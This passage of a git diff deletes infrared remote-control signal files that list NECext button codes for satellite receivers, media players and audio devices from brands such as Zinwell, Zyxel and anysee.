00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 45 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 46 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 48 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4C 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 4E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 50 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 51 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 52 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 54 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 55 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 56 00 00 00 -# -name: SUBT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 58 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 BF 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir deleted file mode 100644 index c53a55b17..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 09 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 0B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 0D 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 0E 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 12 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 13 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 14 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 16 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 17 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1B 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 40 DF 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir deleted file mode 100644 index 007e3011b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 00 00 00 00 -# -name: Screen -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 20 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 28 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 30 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 40 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 48 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 50 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 60 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 68 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 70 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 80 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 88 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 90 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A0 00 00 00 -# -name: Present -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A8 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B0 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C0 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C8 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D0 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E0 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E8 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir deleted file mode 100644 index 6915933f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 00 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 02 00 00 00 -# -name: Minimize -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 03 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 07 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 09 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 0D 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 0E 00 00 00 -# -name: Shift -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 10 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 12 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 13 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir deleted file mode 100644 index 2cc2149d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 11 00 00 00 -# -name: TOOL -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 12 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 13 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 18 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1B 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 1F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 42 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 43 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 45 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 46 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 47 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4A 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4B 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 4E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 50 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 51 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 52 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 53 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 54 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 55 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 56 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 57 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 58 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 59 00 00 00 -# -name: ROTATE -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5A 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5D 00 00 00 -# -name: SERVER -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5E 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 08 E6 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir deleted file mode 100644 index 98d0fa117..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: switch -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: vid-snd -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: size -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 24 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir deleted file mode 100644 index 49bef4c83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 01 00 00 00 -# -name: REPEAT/M-UP -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 02 00 00 00 -# -name: SNOOZE -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 04 00 00 00 -# -name: STOP/BAND -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 09 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 0B 00 00 00 -# -name: PRESET_EQ -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 0C 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 11 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 17 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 1F 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 60 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 81 81 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir deleted file mode 100644 index ebe1368b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1B 00 00 00 -# -name: KEY_MEDIA_REPEAT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1F 00 00 00 -# -name: X_KEY_CLOCK -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 4E 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 58 00 00 00 -# -name: X_KEY_SOURCE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir deleted file mode 100644 index 2437de542..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: tvvcr -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir deleted file mode 100644 index 12e03fce2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PGMPlay -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: SearchLeft -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: SearchRight -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: SkipLeft -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: SkipRight -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: Call -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: Remain -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1A 00 00 00 -# -name: All -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1C 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir deleted file mode 100644 index 8d267ea12..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Angle_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 00 00 00 00 -# -name: Zoom_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 03 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 07 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 08 00 00 00 -# 